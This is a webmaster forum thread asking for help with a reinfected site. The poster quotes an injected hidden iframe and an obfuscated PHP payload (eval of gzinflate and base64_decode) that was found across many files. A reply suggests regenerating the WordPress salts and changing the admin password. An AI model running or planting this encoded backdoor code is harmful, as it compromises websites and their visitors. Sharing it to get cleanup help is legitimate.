please help me malware attack on my site

Status
Not open for further replies.

Black Tiger

Active Member
249
2011
13
0
i get google webmaster warning on search malware
suspected injected code
<iframe width='9' height='6' src='http://somesites' frameborder='0' scrolling='no'>

i search my backup and i see same php code too many php files on top
this code
Code:
<?php eval(gzinflate(base64_decode('tVZfU9tGEH+mM/0Oh0eDJBCWXAhtMYJkEjdh2gRqTPsARCNLJ/uILKl3JxsC/u7dvTvJDoW8VWNbd7d7+/e3u2YZcTZTmrGCpo6d8dk7Ybvuw48/bOjD5ox4PbcPp/DJ6iKRrCwIUKI0J45V89wleGeDgbiGHtE7JqRw7AToESuYBMmabcNKpiQkLUGL6CuSOhRUlhUcJ1OPvL0c/nF2PoqGg9Hl8NNo+ObTxW+DoUd65oJV1rIRRu9oQvCaoaE9msB5USoC2QxDErjEXMviXNA1zUleCromYkkoMJCHhp3lNJpQGSVlIWkB7mnTl8jLqax5QSRnMwf5lYTlM1FLODrHChXoDYvloZA8p4U661tlaNtKeVZyMIWB3qBP4H0EPzmudnbQgW4I/FcWuyGfib2trxgbrPIl3WB8EidT6lhyVqWMe1bOii+elcwkm1FjUQYqDb1r+4IKEdndWfrKqTidRJxWeZwANvzPUymrw2v/2r/6fO3f7Pi2R2z4KpmujiDLnE0VNoMHK3PJ4yNBbY5LdlVIlW5FOSYHAdkmjTkowEAmzRNMgAKdoxWskoxUbbvZZxUwv87KCqOagVULg2t8sgVnEvVV3lo+UIQRCSwKCMjSHC31C+FgeJpYw0XNo1lWHK/rAu1ExzSYdHATZdp/kWS4jFjYJ+7JyjzYHbZofS6zTIxL6ZgM1rEALQArWeblgnLHii4Gw78Gwyv7w2h0Hl3CLnrzfvBpZN9otRbcxjsx5/G9Y0/KcpJTOLM9e8yKiV6JvOYVvGei0Ae3lM6pgIWk5SyGd8LjRU458lYshYXbQJkC7MArpQass8YmHwAQsLMqsZZi4SEBalS56pK2pmq6CqE5/G40NHqbcGRrnvlAAvP8eczVEg0k5mnNNLyjj+cI6dHAvD+evzsd2q6yf666GVl7FPKwTUBeaTF3gAV4QPnVTWhJbBIN59ry2Z4p7oUCh6SzKgI/7JWgpyTHXReseeyu7gbPOIahQOszd814zAETUNhxGo9zXYlbWwSOsFKaI3ftQgv+rP+NV88mB34tCaaa+m1S09cUmDQZj2cUqPaRkPc5Pe7O6e0kL8kDAVgwjMxhPBZlXkvaJznN5OHuwV6vuusTmBOHu7/uBbheHvn6OjlK2ZwkeSxE2NGiOsdHTGsRPAk7qm/5/nzK2Zfbr0kSz+fd2X226NbCv/2npvzehxh3q2l1Mqc81EfdPJZUyO6t6JAFS+U07Ozv9zpkStlkKmFz8Auo8bUeWIARx3afoI9JmVJsBejj93QXiT8pkhf1qqxClWB7frmekQlRpZr1LJbJFED/NyvSciGwQ4MAld5v6B8vTgePZxXlccuiawdGZ8mx55dcQh9wAre/0fR1JmBSQ2t5e3b2++ngyo6iWs4yDi2lmfSvgSEpyy8MxkVD9XhcpE7P6wVB4Hp6EOz8crAfBNs/Q13abV93NtvAubqjVpwV2KoNZAznquNq+pM5p6ZcI8h75a6asWkcvr+rH4zutBRYwk8n3eJhb3ndhdjgfHu5r344u8COqlRYVcwn2IXrMVz4dnYSG0ZmvPu1nZlrIsexoAf7ES3QZgfHrjLKhccLvL1G9oSyFKQ7TRLeD0ZXSiWoP1nfbvcOA3WH15y9NBWGgz8vBxej6HJ4aiYCxL9tzHgTUnNiu2EYBo+PT84BW/ROoVYzKHg1Jh6TQG0xDxpSL2bpu3XJ0wkWJUpVqqahCstWFRpNW1UcKo873kGw/dO+STT0VOm0/8WwMLTdYQhYw78i7a51w1YOrA3VlQPk//DgObuX68BEaC7/BQ==')));?>
.

i remove this code all file with help of notepad++ search in all files
after remove i check not found in any file but..
when i upload clean backup its working fine but i think one hour after its show again in all file please tell me what i do?
 
2 comments
Open your WP-Config.php

than scroll down when you will see some codes like this
--------------------------------------------------------------
define('AUTH_KEY', 'qawP2gzLq|0,_$~;^$nl$A,A|Wn+m0ba;|]z+@4dnmGp7WhgZkM+-X%KLg1,Lf|]'); define('SECURE_AUTH_KEY', '2!T-Hb}uwgCNK63hr.(|Eq!TK.15rH,p&uWqG[vPQHVXd||T15xq90L}=}^C@y)W'); define('LOGGED_IN_KEY', 'o9^++S.Y*f`9EQq%?z<-}+1>8g#9+]Vm! ?~ne-^}L;<O%Y>t$1N|Nf.+|DYrE7w'); define('NONCE_KEY', 'J)B1RA=R%;{ny%/c;-%PcE:URT`g;j|oJ*}q41Bt0Y>jg6_rBR8An$gH^ZR92:{!'); define('AUTH_SALT', 'Txh#:YXczl!^[&5|N%W<F{-$CU>}wEQiOaMG`Rh+A)8].x^XoMmoD74HtQ{ZAnOV'); define('SECURE_AUTH_SALT', ' ONX|bc}YdJG{n 3kac=Fii-8ll6^3+fi@R9dlsQcuv5HWa4g,luS)!Z((}rEXZH'); define('LOGGED_IN_SALT', 'X9vV%oPXl&xr.Em$8X^QvKKXW+~Z&XyK4CVVVKj!zT!@gpPAm$-}-OJxMT@pF+2D'); define('NONCE_SALT', 'FNMCd1;|x|LWmK!rOsfCSifTr!/|T4Md6(BPX-9[8$:3I*4(xU3_b;Xy~!#NuQ4H');
-----------------------

https://api.wordpress.org/secret-key/1.1/salt/

and copy all text he gives you and paste it on your wp-config.php

and save your file, and after that change your admin password.

Those steps are all for just WordPress.

Hope i helped a Little :) peace.
 
Status
Not open for further replies.
Back
Top